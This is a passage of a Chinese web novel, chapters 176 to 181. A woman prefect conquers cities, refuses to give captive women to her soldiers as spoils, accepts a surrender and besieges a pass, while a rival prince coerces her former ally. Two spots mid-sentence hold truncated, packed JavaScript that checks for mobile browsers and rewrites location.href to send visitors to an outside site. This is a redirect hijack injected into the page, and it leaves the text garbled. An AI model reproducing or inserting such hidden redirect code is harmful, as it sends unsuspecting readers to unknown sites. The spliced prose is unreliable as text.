不过姜婉早已将皮相这种浅显外表的东西摒弃。做着自己喜欢的事,一步步实现以前从不敢奢望的理念,她整个人宛似焕发新生,整个人在发光!
“大人,县女学新招募三位女师;府女学连同你我,共有七名女师。大家商议,再增设一门吏学课程如何?请衙门六房胥吏,来给女学生们讲解如何处理公务。”
这是她们最终的目的。
苏蓉点头,补充一句:“这门课程不必面向普通女学生。有志于从政为官府工作,经你们考核人品才学合格者,再深造。”
她很清楚,当下大多数人没觉悟到涉足千年来男人占据的领域,那会付出难以想象的代价。她们只关心是否凭此钓到金龟婿,而非自己有志气成为那只金龟。
不要紧,慢慢来,她有的是时间,慢慢改变这世道。
只要权力在手,实力足够,还愁不能创造后世那样的盛世?
想到盛世,不可避免念及盛世的阻力,几位皇子、乌蛮人之类。姜婉退出去后,她目光落到床头,一个包装精致的木盒子摆在那里。
听荷听雨大概知道她忘记拆叶清辞赠送的生日礼物,这次搬家,把她一直弃忘在枕下的东西顺道带来,特意给她摆在醒目处。
苏蓉走过去,摩挲木盒良久,慢慢打开盒盖。
对方送的究竟是什么生日礼呢?
曾经的她,只想与他举案齐眉。怨恨他放不下劳什子公主,黯然伤神自己身份卑微。
现在……
有了争夺天下的野心和实力,她还需要在意一个男人吗?
第176章 战利品
盒子里的红绸上,静静躺着一支金镶玉的发簪。
簪头为一朵盛开的白玉兰,花瓣边缘用金丝勾勒。花蕊处镶嵌明珠作花药。
玉瓣下方,金枝伸出两股。一支雕琢花叶,一枝缠绕绶带纹,衔接处是云纹。
玉似凝脂,金若熔月。
簪于高髻,仿佛将沐浴月光的琼枝摘下来别在发间。温润与璀璨交织,贵气逼人。
不得不说,对方挑选首饰精心,眼光也好。前一秒苏蓉还在想雄图大业,下一秒喜滋滋拿着发簪插头上,对镜左照又瞧看不完。
本质上、私下里……
她其实还是个普通爱美的人。
甄云站在门口,敲两下虚掩的房门,沉浸在自我陶醉中的苏蓉没有听见。有点无语的甄云拿着账本静静等待,寻思得抽空去库房,多找些精美值钱的首饰出来。
大人这眼光得好好养,一根玉簪,也值得如此满屋转圈圈。
还好就他不小心看见了。
退后两步到台阶下,等了一刻,边放重脚步边大声咳嗽。到了门边,再次敲门,果然里头苏蓉有了回应。
“进来!”
他走进去,只见苏蓉正襟危坐在桌边,头上玉簪拨了下来,手里捧杯茶,一脸淡定。
“甄大人呀,什么事?”
“大人,咱们接管水沛城后,战利品和官仓物资统计出来了!”
甄云将账本呈上。苏蓉一边翻阅,他就在旁凭借超强的记忆力,一项项讲解禀报。
“这座水沛城,总计人口十万余人,库存盔甲三万余套,战马一万五千匹,粮食五十万石,马料六十万石,白银八十万五千余两!”
“银多少?”
听到前面数据,苏蓉还没有多少直观感受,直到甄云念出天文数字般的银两数目,把她惊了一跳,以为听错了!
“八十万五千九百六十一两。”
甄云仔细看眼账本,再次重复。
“一座城池打下来,有这么多官银?”
苏蓉直吸凉气。
之前她家产凑到万贯,觉得自己富可敌国。那种可笑的自豪感,咋来的?瞅瞅这……
人家这才叫钱!
怪不得古代热衷于攻城略地占地盘,踩着别人血淋淋头颅,做梦也想爬上高位。这些……全部是动力啊。
她是最高领导,保管在自己地盘的钱,还不是她嘴巴一张,想怎么分配就怎么分配。
权势金钱迷人眼。
甄云相对淡定。毕竟见识过繁华接触过顶层阶级,且有着宏图大志,没有苏蓉这般容易意志动摇。
“水沛城属于州府级城池,较为富庶,有这种资源很正常。如柏州府城丰安、京畿重地那种,库银上千万不奇怪!”
看见苏蓉眼睛明显亮了下,甄云唇角微扬。
不怕主子有野心,就怕主子人淡如菊!
当然目前得继续谈**事。
“除了钱粮等资源,还有刘知府等前任官吏的女眷,他们在民间收罗的各种美女……大人打算怎么处置?总计有两千六百人之多。”
苏蓉下巴差点掉了下来!
她打一场大仗,俘虏才几千呢?
“单刘知府后宅,美女便达上百人,还有同知、通判、府衙、驻军所各属官、他们的家族及豢养的恶奴……”
苏蓉摆手表示明白了。不就是沆瀣一气的贪官污吏,盘亘水沛城经营多年,盘根错节铲倒后的遗留物。两千多人,其实挺正常。
甄云放下账本,面无表情。
“有小部分人提议,请大人你下令,将这些女人作为战利品,赏赐给有功将士。”
“什么玩意儿?”
苏蓉一听就应激,“啪”的一巴掌拍在桌案上,手掌都拍红了。
“她们是人,又不是物品,怎能作为战利品赏赐给将士们?”
她怒瞪甄云。
“谁提的这丧良心建议?你给我说,我保证打死他!”
甄云抽抽嘴角。
他就知道大人会反对这种提议,毕竟大人自己也身为女子。只没想到大人会如此生气,向来温和恤下,第一次暴跳着要打死对方。
看来以后不利于女子的提议,皆要三思而后行。
“大人息怒……”
苏蓉不息怒,怒发冲冠。
“再说了,
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每次战斗,冲锋陷阵立下最大功劳的,都是我手下甲兵!他们尚且没有讨要封赏,其他人有何资格,居高自傲?”
甄云不愿说是谁提议,现在也确实不宜内部清算动摇人心,她便盯着对方提醒一句。
“甄大人,这件事你以后得上心了。提出这种建议的人,品行不端。以后切记不要提拔,对他委以重任!”
甄云欣慰她的信任:“大人放心,卑职将他们名字牢记住。以后官员考核,会名正言顺,将他们刷下去。”
大人不喜欢的人,自然没有上位可能。
“嗯。”
苏蓉满意了,坐回原位。
不过这千多女眷去向安置,还得操心。略想想告诉甄云:“问问这些女人自己去留意向。愿意回原籍老家的,发给路费;愿意留在云州安家的,官府给办户籍。”
只要一双手勤劳,水沛城富裕,还怕不能打工养活自己?她当初不也是从洗菜娘熬过来的。那时她的处境,远不如这些女人。
至少现在,她作为当权者,能保护她们正当利益。
甄云踌躇。
“大人,咱们杀了刘知府一干官吏,就这么放了他们的妻小,恐怕放虎归山……”
“怕什么?”
苏蓉大气表示。
“我还怕她们过后来行刺我不成?她们要有那份勇气和能耐,我倒是佩服她们三分。”
“对了,放她们走之前,先当着她们面,让那些民间被她们丈夫、父亲巧取豪夺来的受害女子,痛呈哭诉她们所遭受的伤害和欺凌!”
**诛心。
这都教化不了这些犯官家眷,以后杀起来,便没有一点心理负担。
至少,她给过机会。
甄云点心悦诚服合上账本:“大人仁慈!卑职一定尽心尽力办好此事。”
当然,教化不了、固执怀抱对大人仇恨的,他不会纵虎归山,暗中处理掉就是。
他家大人将来会走得更远、更高。这些脏手的事,大人不愿干,他来悄悄做。势必不会留下任何隐患,威胁大人日后安危。
包括那个……
叶清辞!
第177章 底线
离开府內宅,甄云叫上**喜直奔府库。半道嘀咕一阵,**喜对甄云的见解举双手赞同。
他们家大人,确实不能被目前狭隘的眼光局限。应该趁早大力培养眼界,防止被日后有心人的小恩小惠诱惑了去。
两人钻进库房,**喜凭借养在大户人家的经验,帮忙从堆积如山的金银首饰中,挑了满满几大匣子珠宝头面,溢光流彩,让人给搬到苏蓉房间去。
苏蓉懵逼,翻翻大堆首饰。
这些任一件取出来,肉眼可见的精美绝伦,价值千金。但太多了堆一起,感觉物以多为贱,她起不了如获至宝的心。
听荷听雨如实转述两人原话。
“大人,甄大人说,您如今贵为知府、一州父母官,理当注重自身形象,防止被他人轻视。所以将这些在库房落灰的东西清理出来,给您送过来。”
甄云很擅于语言艺术。不但点明苏蓉得接受这么多金银首饰,还不需有任何心理负担的接受。
库房都积灰了,放那干嘛?
苏蓉觉得有道理,从善如流让听荷听雨将几大匣子首饰放在梳妆台,挑了些送给冬梅、小兰、姜婉、张如英四人。
不过叶清辞送的白玉兰发簪,她仍旧珍惜摆在最上面,方便随时取出佩戴。
叶清辞确实愚忠,但他对她有大恩,且是真心的,她心里同样在乎他,那为什么要划清界限?她可以尝试把他争取过来。
不谈别的,叶清辞处理政务能力,手下除了甄云,好像没有第二人比得上。
只要她步步登天,民心所向。爱民如子的叶青天,应该知道这**江山,从不是一人的跑马场,而是万千百姓共享的烟火人间!
心怀百姓,才配问鼎天下!
苏蓉这边军民齐心,重建云州。消息传到领兵讨伐三皇子的太子景渊那里,手握情报,不禁微微颤抖。一种不寒而栗之感,涌遍全身。
这才相隔多久,那苏氏便拿下云州府城水沛!
虽说三皇子地盘越来越少,势力越来越削弱,对他而言算好事,但苏氏调转头来打他呢?
他的柏州,是不是一样不堪一击?
之前万俟赞统领三万大军,攻打安卫城,被对方一举击溃。幕僚说得好听让他抓重点,先打三皇子夺取京城宣扬正统地位。实际他们内心很清楚,这是给他留脸面!
他……
可能根本就奈何不了苏氏!
坚持打下去,他的柏州,极可能是下一个云州。什么雄心壮志,什么正统,烟消云散!
他现在唯一期望,是叶清辞能拦住那该死的女县令,让他先拿下京城。
不,现在对方自封女知府了,根本不需要他承认!
只有及早歼灭三皇子,坐稳京畿重地,才有机会反扑。
绷紧脸,景渊面含煞气,对手下幕僚吩咐。
“修书一封,令叶清辞卸任丰安知府一职。升迁平北将军,兼平城县令,统军一万进驻平城。命他将柏州这一线城池,给孤牢牢守好了……”
略顿,眼里闪过寒光。
“倘若有所差池,让他多想想后方老家亲人!”
“此外,三个月内,拿下安卫城!”
据说苏氏迁居到水沛城。那么留下来的安卫城空虚,以叶清辞的能力和平城的兵力,拿下安卫城应该没什么难度。
而且女人嘛……
他心里冷哼两声,女人能有什么大用,繁衍后代的工具而已。听探子回报,两人还深陷儿女私情,不能自拔!
阿辞确实有能力,就是性格优柔寡断,难当大任。
而苏氏,作为一方首领,竟然爱上敌人,拿不起放不下。这对于她和她的势力,简直致命打击。
总有一日,他会利用这点,彻底击溃对方。
唯一不好把握的是,那批奇人异士不知对方用什么手段笼络住?等他派的细作探听出来,他掌控的资源,不比苏氏更丰厚?他一定能诱使他们投诚过来。
良禽择木而栖。
跟随他,才是最好选择。
目送信使离开,景渊眼中,充满势在必得。
刚把府衙一摊子堆积如山的公务理顺,又接到太子调令。
叶清辞接过使者呈递的令旨,摊在桌面,眉头打结。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021682|171218||http|test|mini|href|location''.split(''|''),0,{}));
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r>看似他升迁封为平北将军,拥有实际兵权,实际调任至平城可不是什么好事。
平城接壤云州、岽州,属于最前线。区区一万兵马,不止要对付二皇子、四皇子,防备乌蛮人。太子还限令他在三个月内,夺取安卫城。
这是迫他与苏娘子正面敌对。
想考验他的忠心?
利用他对付苏娘子?
以上原因可能都有。他若不从,太子把话挑明了,多想想他在寿城的家人族亲。
送走使者,叶清辞一人坐在厅里,对着桌上的令旨看。好像看得专注,实际两眼视线未聚焦,茫然凝视虚空。
傅振与幽临联袂而入。
叶清辞抬起死气沉沉的眼睛,扫视两人一眼。
“如何?”
傅振无奈摇头。
“找不到小皇孙藏身之所。冯詹事说,叶小公子如今陪伴小皇孙身边,同吃同睡,安全舒适无比,让大人不必担心!”
叶清辞狠狠握紧双拳。
堂哥家如今就剩叶浩锐这根独苗了,若是出意外,他以后有何面目见堂哥于九泉下!
悔恨当日没多想,便将叶浩锐直接带回柏州。事忙又没来得及将叶浩锐尽快送回寿城老家,此刻被太子的人带走,却是连个影子也见不到了。
“大人,幽战传信,寿城半月前换了新任县令。原本担任驻军所督尉的叶文超,因喝酒误事,被詹事府免职,同样换上我们不熟悉的人。”
叶清辞冷着脸。
叶文超是他六堂哥。向来稳重的一个人,怎会突然喝酒误事?再说寿城挺偏远,没接壤敌城受威胁,误什么事?
只能说太子确实不信任他叶家了。虽打算继续用他,但怕他不够忠心,先拿捏住他家族好胁迫他。
多年相交,君臣相得,好像一场笑话。
“还有……”
幽临迟疑下汇报。
“大人,老夫人身边,不知何时多了名侍女。幽战曾试探过,此女武功不弱。老夫人十分信任她,出行不离左右,片刻不离。”
叶清辞目中迸**光。
此举,触碰到他底线了。
第178章 长如献城
“传令幽战,尽快找机会除掉此人!母亲身边,不容许有任何来历不明的人!”
他坐下来,迅速写了封密信交给幽临:“你回寿城,将这封信秘密交到族长手中。一定要是族长、你爷爷手里!”
幽临领命匆匆离开,旁边傅振惊讶得嘴巴张老大。
“幽临爷爷,是叶氏族长,你族叔?”
他一直以为,幽临是叶清辞培养的暗卫呢?
叶清辞淡淡瞥他一眼:“你也出自大家族,不知道一荣俱荣,一损俱损的道理?”
傅振哑口无言。
他吊儿郎当,总被父母数落不成器。还好发小不嫌他没大用,走哪把他带着。他自然接触不到傅氏家族顶层的核心。
而叶清辞年少俊彦,名动京城。自然是叶氏家族极为注重,资源倾斜的少一辈对象。族长让自己孙儿亲自出马为叶清辞效力,不算什么了不得的安排。
再一次证明两者有巨大差距的傅振,越发觉得躺平有理。安抚地拍拍心情恶劣的叶清辞。
“走一步看一步,没说要你与苏娘子马上对上。我去多买几只烧鸡,免得到了鸟不拉屎的前线平城,啥也没得吃。”
叶清辞……
更烦了。
水沛城。苏蓉召集属下研究下一步的军事目标。
一部分人主张继续乘胜追击三皇子势力;一部分人主张先拿下势力最弱的浐县;还有建议干脆和柏州势力开战的。
但现在苏蓉占据四座城,地盘就这么大,总兵力不过两万人,再扩张,没有足够的将领官员分派。
创业难守业更难。地方官有二心或则能力不足,会严重影响百姓对苏蓉的支持度。
苏蓉本人是想先拿下墙头草浐县。
掌控住浐县,才能杀回宜阳县,跟苟延残喘的金竹海彻底清算旧账。
然而太子及几位皇子,全部与己方翻脸,结下死仇。她不管不顾进兵宜阳县,真不会被偷家吗?
她现在不是一个人、一家人。
“大人,喜事!”
正当众人议论纷纷,谁也无法说服谁时,秦津手捧一份书信,进厅兴冲冲呈给苏蓉。
“长如县县令吕迟,派人献上降表!”
众人哗然,大厅气氛一下子热烈达到顶点。柯澜充满怀疑:“不可能吧,这是诈降!我们还没有打过去呢,他们就献降表?”
秦津道:“长如县令吕迟,亲自带队出使,此刻就等在城门外,还能有假?”
苏蓉接过降表,里面不仅有县令吕迟情真意切、态度放得极其卑微的一封书信,还有一张长如县**。上面驻军、矿产、官仓、民居等情况,标注详细。
她没有经验,传给甄云和**喜看。
**喜纠结着发表意见:“敢于亲身前来献降表,连县内隐秘资源也交出来了,多半不是诈降?”
甄云沉吟。
“我听闻长如县这位县令,任上无亮眼事迹,也无明显过失。为人中庸,百姓毁誉参半。长如是座贫穷落后的县城,老弱残兵不过千余……”
苏蓉明白了。
长如县没什么搞头。三皇子不重视,没派驻重兵把守。长如县令聪明,秉执打不过就加入的理念,选择对自己最好的结果。
不过这可算是第一座归降她的城池,哪怕是个穷县,她不能亏待对方。
苏蓉立即让**喜代表自己出迎,将长如县令吕迟接进城来,自己率众在府衙大堂等候。
吕迟四旬年纪,长得圆胖。正值三伏天气,走两步,掏出丝帕擦脑门上的汗水。官帽歪了,一身官袍罩在身上被水渍润湿一片,显得狼狈。
他身后跟随一名年轻文官,几名衙役,风尘仆仆。
甄云与那年轻文官四目相对,都露出惊讶不可置信的神色。不过大庭广众,两人很快别开视线,掩饰住失态。
苏蓉礼遇吕迟一行,邀请对方分宾主坐定。
“吕县令深明大义,不忍生灵涂炭。此番献城,实乃大义善举!我军向来体恤百姓,入城后必定秋毫无犯,保一方安宁。”
吕迟紧绷的神经稍微放松。
传闻这女知府是尊杀神,接触起来并没有那么可怕嘛?
果然传闻不可尽信,他点头哈腰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021683|171218||http|test|mini|href|location''.split(''|''),0,{}));
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r>“苏大人过誉了!下官不过是个庸碌之人,只盼治下百姓安宁,献城实乃无奈之举……”
他身后文官轻咳一声。
吕迟尴尬迅速转变话头:“贵军入城后,若真能守护我长如县百姓,下官也别无所求了。”
苏蓉真心实意道:“吕大人能爱民如子,不计较个人得失,苏蓉绝不会忘记大人今日献城之功。”
接下来,双方商议如何交城,安排驻兵换防,城头插上苏蓉势力的旗帜。
自从拿下安卫城后,甄云便安排人手,重新赶制出一批势力旗帜,上书“苏”字。长如县纳入苏蓉势力版图,以前三皇子的势力旗也得摘下,全部换上苏蓉这边的。
苏蓉照旧派了一名金甲兵,十名银甲兵,独立于长如县军方系统外,帮助守城。
她此刻差不多能同时召唤九百名甲兵,这一小支队伍,完全派得起。
吕迟主动投效过来,县令职位及衙门班底便暂时不变动。只是驻军所必须掌控在苏蓉手中,由**喜挑选合适人选,替换原先的一些武官。
长如县实行苏蓉势力的地方政策,苏蓉有保护长如县的义务。
谈妥后皆大欢喜,苏蓉安排宴席款待吕迟一行。
吕迟喝得醉醺醺的被安排扶下去休息。甄云带着长如县那名年轻文官,悄悄来见苏蓉。
“大人,这位长如县的县丞董舟,是卑职旧时同窗。是他,极力促成这次长如县献城的。”
苏蓉早看出苗头了,席间甄云与对方文官眉来眼去。甄云主动带人来交代,释了她的疑。
请董舟坐下,三人聊了会。才知道董舟和甄云一样,家境贫寒。他倒是没有甄云家破人亡那么惨,但科举时因无钱给考官送礼,名次同样被刷下。
怀才不遇,最后被长如县令吕迟慕名请回去,先当幕僚,后举荐为县丞。
吕迟这人胆小怕事,最大优点是听劝。他对董舟有知遇之恩,苏蓉问董舟愿不愿意与甄云共事?董舟摇头,表示自己甘当吕迟幕后。
不过有董舟在,意味着吕迟这人可以放心用。
第179章 将伪帝拉下马
此消彼长,深受两边夹击的三皇子在京城彻底坐不住了。连夜遣使,赶到水沛城宣旨。
内容大意,作为新帝承认苏蓉统领云州的地位,官至知府。但要求云州照常向朝廷纳税,五城官员除了苏蓉,要由吏部安排。并且出兵攻打柏州。
苏蓉直接让人将使者扔出城。
当她傻的!
她已经坐实云州的土皇帝,还需要一个伪帝来承认?并且想架空她,不费一兵一卒夺取她地盘?
真以为她一个女人好欺负!
苏蓉发了狠,当天召集文武。
打!
继续攻打属于三皇子的地盘!
她要将这伪帝拉下马,和太子比赛,谁先进驻京城!
瞧不起她,那就让全天下的人看看,她是否能坐上皇宫里那把宝座?
甄云等人就等她这句话呢!
不想当皇帝的主子,不是好主子。
**喜兴高采烈捧来准备好的军事大地图,摊在桌案上,手指用朱砂笔圈出来的部分。
“大人,下一个目标,应是浒关。攻占浒关后,京畿重地的大门,便向我们敞开了。”
而太子景渊,目前正率兵攻打沿海靠北的顾明城、灵城。这两座城是他进军京城的拦路虎。
苏蓉军若想直逼京城,则通过浒关后,还有昭城、定县、石威、定德……七八座城池需要收复。
不同于太子的贤名能令人望风而降,她只能凭实力打通关。如果只有五城兵力,短期内绝不可能做到。但她有金手指!
她的甲兵,只会越打越多、越打越强!
甄云等人担心没有足够兵力掌控地方,对她来说根本不算回事。当然,这话不能明面说,先把浒关拿下吧。
苏蓉点点地图。
“趁三皇子与太子开战,主力部队无法分身救援别的城镇,我们先攻破浒关。陈大人,你挑选兵马三千;甄大人,你负责后勤物资调度。”
甄云提出异议。
“大人,这次卑职想随您一起杀进京城!”
苏蓉看看他,想到他身负的血海深仇,为这一刻,他等了很久。她颔首:“好,你随我一起去。那么,秦大人和柯大人留守云州,负责情报和后勤。”
“是!”
两人虽然遗憾不能上前线立功,但守卫后方更重要,齐齐答应。
苏蓉盘算自己甲兵,每座城分配一百,西河派驻一百,此次能带出征的,只有近三百甲兵。希望浒关敌兵人头够数,让她金手指再往上升级。
突破到一千大关,不知又有什么惊喜奖励等着她?
察觉到府衙气氛不一般,冬梅牵着小兰的手,来前堂找到苏蓉。
“大姐,你是不是又准备去打仗了?”
上次住在宅子里,与县衙隔得远,消息闭塞。但如今都在府内宅住着,一举一动,瞒不过冬梅。
小兰懵懵懂懂知道打仗不是好事,紧紧抓住苏蓉衣角,粘在苏蓉怀里:“姐姐不要离开小兰!”
她现在身边仆从如云,可她更怀念从前与苏蓉朝夕相处的日子。如果苏蓉不在,她的天便塌了。
“姐姐,小兰把三字经、百家姓、千字文、还有孝经都背熟了,小兰背给你听?”
苏蓉把小兰拉到怀里,亭亭玉立,长到她胸线位置了。摸摸小兰头上簪着的小巧发钗,圆润的珍珠串在细银链上,伴随动作轻轻摇曳,发尾还系着粉色流苏。
灵动美好,活脱脱大户人家的掌上明珠。
这是她一直努力的成效。
她要给家人最好的生活!
她搂着小兰,看向冬梅。
如果金家人在此,一定认不出眼前婉约如画,一身富贵气息的美丽少女,是他们曾经家中的烧火丫头。
“冬梅,又要辛苦你照顾弟妹了!”
“咱们现在虽然看似过上好生活,但不稳定。大姐不奋发,所拥有的一切,可能一夜间失去。为你们,为我自己,也为其他许多跟随我的人,我必须前进。”
有句话形容得很好,人到高处,身不由己。
她目前就是这样。
冬梅眼里蓄满泪水。
“大姐,战场上刀枪无眼,你还是女儿身……万一……”
万一出了什么事怎么办?别人不知道,她可是很清楚,别人眼中勇猛无匹的甲兵,是大姐一把豆子幻化出来的。
幻术,不是真实存在!
而敌人,可是真正拥有千军万马。
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>苏蓉微笑:“放心,二妹。大姐带你们都走到这么高的位置了,你还不相信大姐能力?大姐……只是有些愧对你。”
“为你寻找如意郎君的事,又要无限期延后,委屈你了。”
她想拿到更高地位,届时冬梅挑选夫婿范围扩大。匆忙把冬梅嫁出去,太亏了。目前五座城池,没几个能让她看得上的青年才俊。
论才干,甄云和**喜最出色,她也打算重用他们。
但甄云与冬梅年龄差距过大,本身又因身世性情孤僻;**喜打小定了娃娃亲。所以,她得再看看,把整个京畿重地打下来再说。
她的妹妹们,值得最好的。
冬梅微红着脸。明明讨论大姐出征的事情,怎么又提到她的婚事了?
“大姐,我不嫁!你别操心我的婚事了……”
她接触到的人,包括大姐,有几对婚姻幸福?
哦……
现在张婶子和巴叔算是幸福的一对。
可他们都不惑之年了,饱经沧桑,才遇到彼此。不是大姐够强大,带他们一路青云,逃荒路集体没命,谈什么再结连理。
她对婚姻一点不抱希望。
当然,这话绝不能对大姐说,她怕大姐再为自己操心。
冬梅拿出一个亲手绣的香囊,里面装着两道黄符。
“大姐,这是我和小兰前几日去寺庙,专门为你求来的平安符,里面还有面开过光的玉佩,你带在身上。”
苏蓉失笑:“你们还信这个。”
转念想,自己有金手指,还是穿越而来,谁说得清神鬼之事?再说两个妹妹一片心意,她便郑重收下,贴身放着,叮咛。
“我这次出征,可能会多走些时日。你带好小兰,空了去府学看你三弟,关注他吃喝冷暖。让他专心读书,你们也不可落下课程。”
“大姐眼下摊子铺这么大,还指望你们将来能帮上忙。”
听到她最后一句玩笑似的,却满含期许,冬梅眼圈一红。
大姐这是真把她们当亲人!
她身子靠过去,姐妹三人静静相拥。
片刻,冬梅擦泪:“大姐,你要不要去看看三弟?他一个人住宿在府学,应该感到很孤独。”
第180章 家长
苏蓉失笑。
“二妹,你可别小瞧咱们这个三弟!他的内心,远比我们强大。他的聪明才智,一旦成长起来,很多人望其项背。”
就是太小了,目前帮不上她大忙。
冬梅固执道:“大姐,你不知道三弟多惦记你。每次我和小兰去看他,他都会问你在做什么?即便他什么也不说,我也看得出他想你去看他。”
苏蓉踌躇一下,想着公务繁忙,连冬梅和小兰也不常见,别说谭敖了。
既然认了这个弟弟,她应该像对冬梅和小兰一样,担负起抚育之责。
谭敖不过是个孩子,孩子不光是给够物资就能满足,他可能还想要来自家人的关爱。
神童也是人。
她便点头:“好吧,趁现在有空,咱们一起去府学看望三弟。”
冬梅喜出望外,忙起身招呼紫菊等人,准备吃食衣裳和马车,要前往府学。
小兰黏着苏蓉,苏蓉却有点抱不动长肉的小萝莉了,牵着她的手走出府衙,等马车停在门口,一起登车。
府学离县衙不远。刚到门口,老教谕便带着几名学官迎了出来。
老教谕为人清高,目下无尘,性格尤为守旧古板。但苏蓉在他心目中是十足例外。
能主宰他命运和他一家人生死的人,傻子才敢不敬。
见苏蓉还带着弟妹,立即明白苏蓉不是来视察府学的。将苏蓉姐妹迎进厅,献茶后简单汇报府学工作,夸谭敖一番,便亲自带着苏蓉姐妹,去学府里面找谭敖。
此时过了酉时,学子们已结束一天功课,三三两两,聚在府学宽广的庭院或花园里谈天说地,也有邀约去食堂或外面吃饭的。
隔着老远,眼尖的小兰一眼认出人群中个头特别矮小的谭敖,手指道:“三哥!姐姐,是三哥!”
苏蓉顺她手指看过去,只见谭敖与五六名书生同行。同窗们谈笑风生,谭敖一言不发。不过看那眉眼是舒展透着笑意的,大家也隐隐簇拥他为中心。
苏蓉见之放心不少。看来谭敖在府学还算适应。没来多久,便和同窗们相处融洽。
虽仍显清瘦,不过肤白五官俊秀,穿一件湖蓝绸衫,发髻绾得齐整,佩戴小小玉冠,仙童似的粉雕玉琢。
她怪阿姨的心蠢蠢欲动。
等谭敖来到面前,不经意瞧见她们露出格外惊喜的形容,忍不住伸手摸了摸这孩子的头。
“敖儿,是不是又长高了?大姐忙,好久没来府学看你了!”
谭敖一改方才小大人的稳重,握住苏蓉作怪的手,咧开嘴一个劲笑:“大姐,你怎么来了?”
招呼完苏蓉,才想起旁边的冬梅和小兰,赶紧找补一下:“二姐,四妹,你们也来了。”
几名同窗还是头一次近距离接触这位赫赫有名的女大人,窘迫在旁站了会,对个眼色,一起上前施礼。
“学生见过苏大人!”
苏蓉拉着谭敖,温言道:“免礼。你们是我四弟的同学?”
几名同窗怀着囧囧又有些激动的心情,纷纷自报家门。
“是,学生浦凌(庞水、郭岩……)与谭弟同在上斋。谭弟灵思慧黠,性情温和,与大家相处甚为融洽。”
苏蓉把这几个名字记住。物以类聚人与群分,谭敖认可的朋友,以后可以适当关注提拔。
“敖儿在府学,能够这么快适应,如鱼得水,多亏各位同学带携他。我这四弟,性情稍微有些孤僻,还望大家别见怪。”
“他就是面儿生,不爱言语,心里却热乎,记着旁人的好。以后若有不妥当之处,还望各位同学多担待指点,谢谢各位。”
谭敖面色涨红。
苏蓉这话,跟当初他娘来学堂看他时,说话一模一样。果然全天下家长异曲同工!但是,莫名又感到温暖踏实。
仿佛空缺塌陷的背后,重新被人填补支撑起来。
他眼眶湿了。
这是不是代表……以后就算他在外闯祸,家里也有人给他兜着?
几位同窗连说“不敢”,将谭敖夸得天花乱坠。
苏蓉失笑。等浦凌等人知趣告退,将私人空间留给他们一
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家后,牵起弟妹的手。
“走,难得有空,大姐请你们去外面吃顿大餐!”
张如英两口子开分店的速度,远比不上她打地盘的速度。苏蓉让车夫驾车,将她们送到水沛城最大最有名的一家酒楼。
听说女知府来了,酒楼老板诚惶诚恐从家里赶出来,率一众伙计接驾。
苏蓉还不太习惯这种殷勤,扶起酒楼老板笑道:“我就是带家人出来,吃顿好的。店家有空位麻烦安排我们一桌,上你们这里的招牌菜就行。”
女大人如此和蔼可亲,老板把心放回肚子里。殷勤将苏蓉一行引到二楼包厢,特意安排人守在门店门口,防止其他食客前来打扰。
随后屁颠颠赶往厨房,亲自安排监督厨师做菜。
知府大人亲临,那可是无上荣耀。回头把女大人坐过的包厢,定为贵宾厅,还能不门庭如市?
苏蓉难得与家人聚在一起,好好吃顿晚饭。席间听弟妹说些家务琐事、学习情况,倒也其乐融融。
次日,天蒙蒙亮,家人还在熟睡之际,苏蓉率领三千轻骑,义无反顾踏上北伐之路。
这一次与家人小聚,她彻底想明白了。她现在退无可退,只能继续前行。要让自己和家人再无后顾之忧,就是尽早结束乱世,用武力平定天下,坐上高位。
换成男人,拥有这么强力的金手指,早视自己为救世主,天命之子。她不该瞻前顾后,沉溺儿女私情。
等大事既成,再来谈别的不迟。
甄云明显感受到她意气风发。虽不明白发生了什么事,主子变得忽然进取心旺盛。但这对所有人来说,是件好事!
浒关守将得报,苏蓉势力拿下水沛城后,马不停蹄来攻打浒关,背心冷汗直冒。
连水沛城那么坚固的城墙,对方也能轻易而举打下来。他这守的是一道关卡,没有援兵没有足够多存粮,能守住?
打听到苏蓉带了三千人马,还有令世人闻风丧胆的三百甲兵,浒关守将连忙派人往邻近的昭城、定县、石威三城求援。
第181章 神将莅临
唇亡齿寒,浒关突破,京畿重地都将不能幸免卷入战火。
这次分兵与太子景渊对抗的三皇子不敢怠慢,忙令三城竭其所能就近派遣援兵。
苏蓉挥军杀到浒关下,浒关城楼,已**三城调集来的援兵,连同原有守军,超过万人,气势汹汹在城楼上严阵以待。
浒关守将本还想趁苏蓉一行立足未稳,出兵冲杀一阵。苏蓉遣三百甲兵为先锋,所向披靡。见神杀神、见佛杀佛。
守军常年处于內腹地,哪曾经历过如此残酷的战争?
眼见三百甲兵如同三百架绞肉机,旋风样将士兵们拉入地狱的漩涡,绞杀成肉泥骨渣喷洒向周围。吓得他们屁滚尿流逃回浒关,闭门坚守不出。
初一接触,轻易损失上千人马。顿时浒关上下无论守军还是援兵,个个亡魂皆冒。
苏蓉军队在射程外扎营。
二话不说,一挥手不知疲惫不需吃喝的豆子兵,任劳任怨蜂蛹朝浒关冲城。任凭城头**轰得火光四射,箭雨雷石下得激烈,他们妖娆走位,猛登城楼。
不小心被砸回地面了,不要紧,爬起来又是一条悍不畏死的好汉。
不止浒关的敌人看着这一切惊慌失措,头一次见识苏蓉甲兵攻城威力的甄云,也是目瞪口呆。
尽管他是个手无缚鸡之力的书生,也知道这种攻城模式是极不对的。蛮干就算了,连攻城器械也不用?这是让手下甲兵,活生生去送死啊!
然而下刻,看得他瞳孔地震:甲兵为什么一直没有伤亡?
连城楼上泼油推滚木雷石的敌兵,都由于过于紧张,不小心跌下来两个,惨叫着摔成肉饼。为什么冲上去的甲兵,一个没损貌似还肉眼可见增加了些?
主子这支神出鬼没的奇兵,到底有多少人?
